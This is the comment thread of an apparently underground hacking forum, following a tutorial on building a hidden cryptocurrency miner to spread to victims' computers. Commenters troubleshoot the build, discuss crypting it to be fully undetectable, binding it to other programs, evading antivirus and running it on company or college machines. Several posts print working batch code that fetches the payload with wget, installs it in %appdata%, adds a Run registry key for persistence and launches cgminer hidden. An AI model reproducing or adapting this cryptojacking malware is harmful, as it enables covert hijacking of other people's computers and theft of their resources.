I mention i have tried cgminer version 3.10 & 3.8. Did the whole tutorial process around 50 times as tests. There might be something wrong with my 2 systems I suspect?

I would appreciate some help.

Thanks

xalo - February 9, 2014, 1:00 am

seems okay so far when i crypt it great guide

Marxo - February 9, 2014, 10:24 am

So after creating this I FUD it and spread it on my slaves or bind it to other programs?

Does this Miner accept Dogecoin mine?

Sorry I am new to this section.

AkiraKiku - February 10, 2014, 10:59 am

great stuff here. good to remember. Thanks much!

Th3_Illusi0n1s7 - February 12, 2014, 4:30 pm

I did it but the setup.rar can't be extracted there is no error or something maybe the command is wrong ?

Terafyde - February 13, 2014, 10:13 am

Dude, I keep getting the error cannot find exec, I know this is an error but where?

jas32096 - February 13, 2014, 2:01 pm

Let me clear up the confusion. You cannot script mine with this. CGminer stopped supporting script mining after version 3.7.2 (or thereabouts). You might be able to get it to work with script mining if you use an older version of CGminer, but I'm not gonna bother trying. Your welcome to try though, and if you do, you should post your results.

dzsunk - February 16, 2014, 2:36 pm

Recommending this cpu miner:

<http://hackhound.org/forums/topic/4132-tiny-cpu-miner-standalone-20/>

Louis C.K. - February 21, 2014, 9:51 am

does this only mine btc and not ltc, i got an error, window cannot find 'exec'. make sure you type in the name correctly and retry again. this is after the execution of the miner

zarka - February 22, 2014, 8:25 am

(Feb 21, 2014 10:51 AM)theman001 Wrote: [\[CITE\]](#) does this only mine btc and not ltc, i got an error, window cannot find 'exec'. make sure you type in the name correctly and retry again. this is after the execution of the miner This mines LTC too, and all script coins! Don't mine BTC, you'll get no profit.

Error: Windows cannot find 'exec' is displayed because of error in script!
nobitz Wrote: SET INSTALLPATH="%appdata%\miner

should be

SET INSTALLPATH=%appdata%\miner This will fix the script and no errors will occur. Hope this helps guys :D

Louis C.K. - February 22, 2014, 11:11 am

(Feb 22, 2014 09:25 AM)zarka Wrote: [\[CITE\]](#) This mines LTC too, and all script coins! Don't mine BTC, you'll get no profit.

This will fix the script and no errors will occur. Hope this helps guys :D
Tried that fix already after removing the quotes, a folder pop up after execution. Also I changed the mining option to script because of LTC mining.

ronaktoshniwal94 - March 22, 2014, 7:56 am

did everything properly still getting this error.. :(
[IMG][http://i57.\[censored\].com/oa4zyu.png](http://i57.[censored].com/oa4zyu.png)[IMG]
error m getting

King Louis XIX - March 22, 2014, 11:13 am

Wow, thanks OP, beacuse this uses CGminer, it should work with SGminer, correct?

Jony Blaze - March 22, 2014, 12:05 pm

It is awesome tutorial for begginers. I hope newbie will learn something from it.

-Red Dragon

abansb - March 23, 2014, 8:28 pm

Is there anyway beside checking the hashrate on the pool to see if this is mining?
could anyone tell me if the pool-x needs to be <http://mine.pool.eu:9000> or can we use stratum+tcp://mine.pool-x.eu:9000

thanks

abansb - March 24, 2014, 10:08 pm

Never mind I just went to another pool for mining just need to figure out how to spread this now everything is working good thanks for the tutorial OP

w?rlockt - March 25, 2014, 10:03 am

Thank you very much! ? Now I have to get some slaves ?

K.ing - March 25, 2014, 2:23 pm

Really needs English screenshots, otherwise HQ thread.

matrixcnet - April 6, 2014, 9:31 am

Thanks for sharing this, i will test it

?MrRoot - April 8, 2014, 2:35 pm

It says exec is not a command thing D:
in the start.bat thing

Linux. - April 8, 2014, 3:18 pm

Great job, I may use this in my new project "Online Miner"

<http://infinityware.net/miner>

Namelix™ - April 9, 2014, 6:53 pm

great free lesson. Appreciated it :)

x0rk - April 13, 2014, 8:45 am

I tried everything, and i am still getting this error : Windows cannot find %temp%\nircmd.exe
Spoiler ([Click to View](#))

FallenZombie - April 16, 2014, 5:45 pm

Could not create wget.exe

Error Any help?

SourceLoader - April 16, 2014, 6:13 pm

Good information, just going try on some company pc running it hopefully it work it have some limit with policys.

baals-hammer - April 18, 2014, 3:14 pm

The fact that it downloads files from the internet screws me over. It won't download the files at places with tight internet security.

FallenZombie - April 18, 2014, 6:33 pm

Have any of you found out how to fix the Dang Wget.exe error that's pissing me off so much?

Elpadre - April 20, 2014, 3:04 am

thanks thanks

poppins89 - April 27, 2014, 9:44 am

Thanks ... very good tutorial, but i have a problem ... when i try to execute MyMiner.exe, not appear the process cgminer.exe in task manager, but do not see any error.... I have not changed anything.... the two files uploaded to ge . tt are downloaded properly ... but in the end, no process remains in task manager (I used to try a virtual machine)

escopetilla28 - May 20, 2014, 3:56 pm

and as I can camouflage and expand this Trojan??[font]

TheLaoTzu - June 15, 2014, 11:29 am

Great post, really some nice added information here that helped me with my miner setup

abscribbles - June 30, 2014, 5:32 pm

so im getting an error that says the program cant start because mscrr110.dll is missing can anyone

help please

lastdark - July 20, 2014, 2:07 pm

It's really helpful.

Thank you so much brother :)

nickonator1 - July 24, 2014, 10:03 pm

Not working for me, the output is just saying pool difficulty changed from 0 to 32 over and over

Game Accounts - July 27, 2014, 6:37 am

Nice silent miner.

Thanks for that.

Works fine.

sherpa48 - August 28, 2014, 11:17 pm

(Apr 27, 2014 09:44 AM)poppins89 Wrote: [CITE](#) Thanks ... very good tutorial, but i have a problem ... when i try to execute MyMiner.exe, not appear the process cgminer.exe in task manager, but do not see any error.... I solved using version 3.7.2 of cgminer.

DiamondHacking - August 29, 2014, 10:31 am

Very nice tutorial man, I really need to get back into writing some.

imike964 - September 5, 2014, 5:55 pm

Ok I tried this and got an error when I ran the installer.exe.

Error says: windows cannot find ...appdata/temp/miner/nircmd.exe, make sure its typed.....

Why is this going into the temp folder? Also on my version of winrar, there is not comments section. So I put this code into the section that displays in the sfx window...

Its late here, I'll try again in the morning!!

Thanks

I am right in thinking that this----- "%appdata%\miner\nircmd.exe" exec hide
"%appdata%\miner\cgminer.exe" -o stratum+tcp://stratum.mining.eligius.st:3334 -u username -p x -l
d

belongs in the start.txt file?

Scratch that, I got past that problem lol, I'm going to put that down to lack of sleep.

Bedtime!

Ao Haru Ride - September 5, 2014, 6:44 pm

I'm gonna try this man!

Thanks for this :)

macoy1991 - September 13, 2014, 11:58 am

thanks for this.. i hope i can make it asap.... thanks again...

CaptainChronic - September 15, 2014, 5:29 pm

I vouch for this, the miner works pretty well.

actersormore

mineur - September 21, 2014, 11:36 am

bro have you a link for : 3.7.2 cgminer please?

Mmka - September 21, 2014, 2:05 pm

I vouch for this, the miner works good. Bought it few days ago
jsw

mineur - September 23, 2014, 9:34 am

the miner work good to version 4.5/4.6?

Mr. Escrow - September 23, 2014, 3:52 pm

still for sale? looking to buy ASAP

Retaliationist - October 17, 2014, 4:32 pm

Had everything the same as yours, made the MyMiner.exe and ran it in sandboxie stays there for like 7 seconds then all dissapears... please help

SUPERBITCH - October 18, 2014, 2:29 pm

(Oct 17, 2014 04:32 PM)Anon-7 Wrote: [\[CITE\]](#) Had everything the same as yours, made the MyMiner.exe and ran it in sandboxie stays there for like 7 seconds then all dissapears... please help
Same thing happens for me
Maybe it has something to do with the newer version of CGminer
I'm going to try the version he used Maybe that will fix it

EDIT : Imade it work you have to use the older version of cgminer
Just download the file at the botom of the tutorial it comes with the older version :)

Thank you for this tutorial OP ^__^

mineur - October 19, 2014, 5:40 am

hi I tried to do the tutorial but I can not seem to operate the miner.
the "ECEC" file was not found.
have you got a solution?

SlyFish007 - October 29, 2014, 11:07 pm

Great tut! Finally got mine working properly. Only thing is that cgminer doesnt start up with windows even tho i see "NirCmd" added to msconfig. Can anyone help me out with this?

edit- I used the method mentioned by Mr. Gregory to fix the start up issue.

Spoiler ([Click to View](#)) (Nov 27, 2013 03:52 AM)Mr. Gregory Wrote: [\[CITE\]](#) I got it working perfectly, but when it restarts the process does not start. My bat key is :

```
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "miner" /d  
"%appdata%\miner\nircmd.exe" exec hide \"%appdata%\miner\start.bat\" /f
```

Ok. I got it. I used
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "miner" /d
"%appdata%\miner\start.bat"

and in miner/start.bat repalce with:
"%~dp0\nircmd.exe"

Now I'm trying to make the start.bat undetectable by using goblin25's method

Spoiler ([Click to View](#)) (Nov 26, 2013 10:44 AM)goblin25 Wrote: [\[CITE\]](#) eset anti virus(THE Newest !) say's : BAT/coinminerBH Trojan and put it directly into Quarantaine !

solved with only this line :

start.bat

```
"%appdata%\miner\nircmd.exe" exec hide "%appdata%\miner\cgminer.exe" -o  
stratum+tcp://stratum.mining.eligius.st:3334 -u username -p x -l d
```

Its does make it undetected but for some reason when it extracts itself in the appdata/roaming/miner folder, it extracts itself in a subfolder instead of the miner folder (as it should.) So this results in the "cannot find nircmd" error. What I get from goblin25's command changes was that he translated the commands by getting rid of the SET commands. It essentially does the same thing without getting detected but I don't get why this changes up the extraction behavior...or is there something else I'm missing here?

edit- Well....I was making a really stupid mistake. When compressing my new setup.rar file, I was right clicking the setup FOLDER and creating a .rar out of it. Instead of selecting all the files INSIDE the folder, then right clicking and creating a .rar out of it. ???

Well to conclude, I got it working 100%; Hidden, w/ Startup, and Undetected from NOD32 (overall detection 3/35) Not bad! Now if i could only find a way to get it FUD :) Thanks a lot OP and those who contributed. If anyone is interested i shared my configuration for the start.bat and installer.bat below. Good day?

My config: Spoiler ([Click to View](#))

for start.bat i used

```
Quote:"%appdata%\miner\nircmd.exe" exec hide "%appdata%\miner\cgminer.exe" -o  
stratum+tcp://stratum.mining.eligius.st:3334 -u MYBTCADDRESS -p x -l d  
and for installer.bat
```

```
Quote:SET INSTALLPATH=%appdata%\miner  
mkdir %INSTALLPATH%  
wget.exe http://DirectDLforRar -O "%INSTALLPATH%\rar.exe"  
wget.exe http://DirectDLforSetup -O "%INSTALLPATH%\setup.rar"  
%INSTALLPATH%\RAR.exe x -o+ %INSTALLPATH%\setup.rar %INSTALLPATH%\  
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "miner" /d  
"%appdata%\miner\start.bat"  
start %INSTALLPATH%\nircmd.exe exec hide %INSTALLPATH%\start.bat
```

LuLzKr3w - October 31, 2014, 10:48 am

can someone give me a lil walk threw in wat folders are which i got the gist of it just a little confused on where what goes what.

snakeplissken - November 1, 2014, 9:53 am

great tutorial man :) Italian style :)

legendaryfiles - November 2, 2014, 9:28 am

Nice tut.I am not gonna use it now.I will use when my exams are over and i get access to college computer lab ;)

gb1211 - November 8, 2014, 7:32 am

does this still work? can anyone vouch for this?

Mann02 - December 19, 2014, 2:13 am

Thank you mate, I'll do this once I get hold of my computer :)

Mann02 - January 4, 2015, 4:47 am

this should be set as an important thread, it's really helpful

DocK2014 - April 9, 2015, 3:04 pm

Tried it out but failed with testing on a Win7-machine. Error message was about Windows can't find "exec". If anyone has a work-around: Thanks in advance! Whereby I'll try solving that myself, too.

Last but not the least the tutorial itself is a nice read so thank you anyway :)

shovel_boss - April 10, 2015, 3:12 am

Great tutorial, for this thread and vouch

updowner - May 6, 2015, 5:05 am

hey is there any way to make this work with bytecoin mining ???

SirIlluzionz - May 7, 2015, 2:19 am

Nice, I Can See This Being Good To Do Especially It Being DIY

TheSluttyMuffin - May 29, 2015, 2:47 am

When i run the installer it say "cannot find exec" what should i do?

Coulson - May 29, 2015, 6:57 am

Can I mine using a laptop with this soft ?

pegonas - June 4, 2015, 10:06 am

(May 29, 2015 06:57 AM)Owen Shaw Wrote: [\[CITE\]](#) Can I mine using a laptop with this soft ?
Yes you can mine on laptop

SwagMasta21 - June 26, 2015, 7:21 pm

I get an error when i run the installer that reads, "C:\Users\Admin\AppData\Roaming\miner\rar.exe is not a valid Win 32 application". Can anyone help.

Dannethabest - June 29, 2015, 10:29 am

Should i put the direct download link or should i put the link where you have to press download and it downloades

lino08 - September 9, 2015, 4:24 am

(Jun 29, 2015 10:29 AM)Dannethabest Wrote: [\[CITE\]](#) Should i put the direct download link or should i put the link where you have to press download and it downloades
you have to put direct download link

Btw thank you for the guide, I'm going to check this out! it might be what I was looking for! grazie mille!

cedric10 - December 2, 2015, 11:46 am

Hi person that made this thread :) I made a file with this, but am a noob. First of all, i get an error when i test my program, dont know why tho. It first says in the error that i need to contact my administrator because i have a wrong version or something. Then it instantly after gives an error that says: Couldnt find the file exec. Make sure u have the right name. I would really like to know what can be done with this as well, as im not rllly sure on what it does. Can i add my own files to the download somehow so i could prank my friends with this(exe that shuts their pc down). Thanks for making this and i would be even more greatfull if you can help me!

EDIT: I have windows 10 if that changes stuff
